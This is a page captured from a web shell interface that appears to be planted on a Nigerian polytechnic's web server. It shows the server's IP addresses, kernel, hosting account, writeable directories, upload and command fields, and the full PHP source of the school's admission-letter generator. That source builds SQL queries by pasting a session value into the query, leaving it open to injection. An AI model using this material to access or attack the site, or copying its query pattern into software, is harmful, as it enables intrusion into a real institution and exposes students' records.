403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.127.234
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_student/print/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_student/print//admissionLetter.php
<?php
ob_start();
session_start();
$formNo=$_SESSION['formNo'];


//$asession=$_SESSION['asession'];

require_once('../../connect.php');
$db=db_connect();

$dd=$db->query("select * from current where sn=2");
$dd_fetch=$dd->fetch(PDO::FETCH_BOTH);
$admSession=$dd_fetch['admSession'];


$sql="select * from admitted where `formNo`='$formNo' or jambNo='$formNo'";
$result=$db->query($sql);
 $num=$result->rowCount();

	if ($num>0){
        $qry=$db->query("select * from remitaorder where regNo='$formNo'and paymentType='Acceptance Fee' and transApproved='True'");
		$k=$qry->rowCount();

						 if ($k>0){
                             $qry_fetch=$result->fetch(PDO::FETCH_BOTH);
		$dept=$qry_fetch['course'];
		$mode=$qry_fetch['mode'];
		$name=$qry_fetch['names'];
                             $dateAdmitted=$qry_fetch['admDate'];
		$levelID=$qry_fetch['levelID'];
		if ($levelID=='1'){
			$progr='NATIONAL DIPLOMA';
			$type='FULL TIME';
			$k= 'ND - ';
			$duration='Minimum 2 years, Maximum 4 years';
		}elseif($levelID=='3'){
			$progr='HIGHER NATIONAL DIPLOMA';
			$type='FULL TIME';
			$duration='Minimum 2 years, Maximum 4 years';
			$k= 'HND - ';
		}elseif($levelID=='5'){
			$progr='NATIONAL DIPLOMA';
			$type='PART TIME';
			$k= 'ND - ';
			$duration='Minimum 3 years, Maximum 6 years';
		}elseif($levelID=='8'){
			$progr='NATIONAL DIPLOMA';
			$type='DAILY PART TIME';
			$k= 'ND - ';
			$duration='Minimum 2 years, Maximum 4 years';
		}elseif($levelID=='10'){
			$progr='PRE - ND';
			$type='FULL TIME';
			$k= '';
			$duration='Minimum 1 years, Maximum 1 years';
		}elseif($levelID=='11'){
            $progr='HIGHER NATIONAL DIPLOMA';
            $type='DAILY PART TIME';
            $duration='Minimum 2 years, Maximum 4 years';
            $k= 'HND - ';
        }
//header and footer

$dateNow=date('l, M d, o, h:i:s a');
$total=0;
$mainData='

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ePortal | Admission Letter</title>
<link href="css.css" rel="stylesheet" type="text/css" />
</head>

<body>
<div style="font-size: 16px" class="col-lg-8 col-lg-offset-2">';

$w=date('o');
$f=strtoupper(substr($dept,0,3));
$sola='2022/'.$f.'/'.$mode.'/'.$formNo;
                             $mainData.='
<div align="center"><img src="../../images/siwesHead.png" width="800" height="95" /></div>';
                             $mainData.='<br>REF: ADM/'.$sola;


$datee=$dateAdmitted;
                             $mainData.='<div align="right">'.$datee.'</div>';
                             $na=explode(' ',$name);
                             $mainData.='<br>Dear '.$na[0].',<br>';
                             $mainData.='<h3><div style="font-size: 14px; text-decoration: underline; text-align: left">OFFER OF PROVISIONAL ADMISSION INTO '. $progr.' ('. $type .') PROGRAMME</div></h3>';
//$sessiona='2018/2019';
//$dept='COMPUTER SCIENCE';
$word="On behalf of the Academic Board, I am pleased to inform you that you have been offered provisional admission to pursue ".$progr. " programme leading to the award of ".$progr. " in ".$dept. " with effect from ".$admSession." academic session.";
//$s=wordwrap($word,75,'<br>\n',true);
 //$s=wordwrap($word,85,"<br>\n",TRUE);
                             $mainData.='<div align="justify">'.$word.'</div>';
                             $mainData.='<br><i><div style="font-style: italic">The confirmation of this offer is subject to your obtaining the minimum entry qualifications for the course to which you have been offered admission, as well as fulfilling the conditions spelt out below.</div><br><table border="1" cellspacing="0" width="100%" align="center" class="table-bordered" cellpadding="5">';
                             $mainData.='
<tr><td width="20%">Surname</td><td>'.$na[0].'</td></tr>
<tr><td> Other Name(s)</td><td>'.$na[1].' '.$na[2].'</td></tr>
<tr><td> Department</td><td>'.$dept.'</td></tr>
<tr><td> Course</td><td>'.$k.$dept.'</td></tr>
<tr><td> Mode of Study</td><td>'.$type.'</td></tr>
<tr><td>Duration</td><td>'.$duration.'</td></tr>
<tr><td>Academic Conditions</td><td>'."As stipulated by National Board for Technical Education and   Students Information Handbook to be issued during registration".'</td></tr>
<tr><td>Other Conditions</td><td align="justify"><div align="justify">You are to pay the prescribed fees that will be specified during registration in the session, or at the beginning of each session. <b>Fees paid are non-refundable.</b>
<br>You may be required to provide some fund to facilitate your study as may be prescribed by Department and approved by the School.
<br>You shall be screened by both the Department and School’s Office before payment of fees.
<br><i>If it is discovered at anytime that you do not possess any of the qualifications which you claimed to have obtained, you will be required to withdraw from the institution.</i>
<br>You will be required to matriculate on arrival at the Polytechnic, unless you are a graduate of the Polytechnic.</div></td></tr></table>';


$mainData.="<div><p>I congratulate you on your admission and wish you a successful study in the Federal Polytechnic, Ede.<br>";

$mainData.="<br>Yours faithfully,";
$mainData.='<br><img src="../../images/signature.jpg" width="100px" height="50px" />';

$mainData.="<br><b>BELLO K. A.</b>";

$mainData.="<br>Admissions Officer";

 $mainData.="<br><i>For Registrar</i></div>";

	}else{
	echo 'Pay Acceptance Fee First';
	}
	}else{
	echo 'Admission letter not Available';
	}

//echo $mainData;
$mainData2='<b>NOTE AND ADHERE STRICTLY</b><br>
<ol>
<li> Please note that you are required to register at the School Office at the beginning of each session until you graduate. Late registration will attract penalty of N5,000.00 for students including the Federal Polytechnic, Ede staff, while late submission of student’s registration forms will attract a penalty of N5,000.00</li>
<li> No student can register for two Diploma programmes concurrently. Violation shall attract withdrawal of the student or denial of the right for the award of the Diploma</li>
</ol><h3 ALIGN="center"><U>SCHOOL FEES DETAILS FOR '. $progr.' ('. $type .') PROGRAMME - 2020/2021 ACADEMIC SESSION </U></h3>';
//echo $dept;
//echo $levelID;
$d_sql=$db->query("select * from dept where dOption='$dept'");
$d_sql_fetch=$d_sql->fetch(PDO::FETCH_BOTH);
$deptID=$d_sql_fetch['sn'];

//check status repeater
/*$checkRemark="select * from rawcgpa where matNo='$matno' and `remark` LIKE 'REPE%'";
$resultRemark=$db->query($checkRemark);
$numRemark=$resultRemark->rowCount();
if ($numRemark>0){
    $remark='Repeater';
    $_SESSION['repeater']=$remark;
    $levelID=$levelID-1;
}else{
*/
    $checkFresher="select * from admitted where formNo='$formNo'";
    $resultFresher=$db->query($checkFresher);
    $resultFresher_fetch=$resultFresher->fetch(PDO::FETCH_BOTH);
    $numFresher=$resultFresher->rowCount();
    if ($numFresher>0){
        $remark=$resultFresher_fetch['status'];
    }else{
        $remark='Normal';
    }

$k=$db->query("select * from realdata where matNo='$formNo' and `status`='Deferment'");
$deferment=$k->rowCount();
if ($deferment=='1'){
    $remark='Repeater';
    $_SESSION['repeater']=$remark;
}
//End status
//OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
//$asession='2019/2020';
  $jes="select *,(select names from schoolfeecode where schoolfeecode.code=schoolfeedetails.code) as names from schoolfeedetails where dept='$deptID' and level='$levelID' and status='$remark' and asession='2020/2021'";
$sqlFees=$db->query($jes);
if ($formNo=='18742110336'){
    die();
}

$sqlFees_count=$sqlFees->rowCount();
$sqlFees_count=1;
if ($sqlFees_count==1){
    $amt=0;
    $i=0;
    //$sqlFees_fetch=$sqlFees->fetch(PDO::FETCH_BOTH);
    $mainData2.='<table border="1" cellspacing="0" align="center" width="80%">';
    $mainData2.='<tr><th>SN</th><th>Description</th><th>Amount</th></tr>';
    while ($row=$sqlFees->fetch(PDO::FETCH_BOTH)){
$i+=1;
       $amt+=$row['amount'];
        $mainData2.='<tr><td>'.$i.'</td><td>'.$row['names'].'</td><td align="right">'.$row['amount'].'</td></tr>';
    }
    $mainData2.='<tr><td colspan="2"><b>TOTAL</b></td><td align="right"><b>'.$amt.'.00</b></td></tr>';
    $mainData2.='</table><p style="display: none;">*<b>NOTE:</b> N2,500.00 IS TO BE PAID BY STUDENT USING EXTRA RESULT ';

}else{
    $mainData2.='<div style="color: red">Payment Setup Not Available Yet</div>';
}
//echo $mainData;
//echo $mainData2;
//die();
$filename='admLetter-'.$formNo.'.pdf';
include("../../mpdf/mpdf.php");
$mpdf=new mPDF('c','','','',15,15,5,5);
$mpdf->SetWatermarkImage('../../images/logoBack.png');
$mpdf->showWatermarkImage = true;
$dat=date('l, M d, o, h:i:s a');
$customizedFooter='<img src="../../images/siwesfooter.png"><br><div align="right">'. $dat.'</div>';
$mpdf->WriteHTML($mainData);
$mpdf->WriteHTML('<pagebreak resetpagenum="0" pagenumstyle="A" />',2);
$mpdf->WriteHTML($mainData2);
$mpdf->setFooter($customizedFooter) ;
$mpdf->Output($filename,'D');
exit;

//echo $mainData;
//echo $mainData2;
ob_end_flush();
				?>

Youez - 2016 - github.com/yon3zu
LinuXploit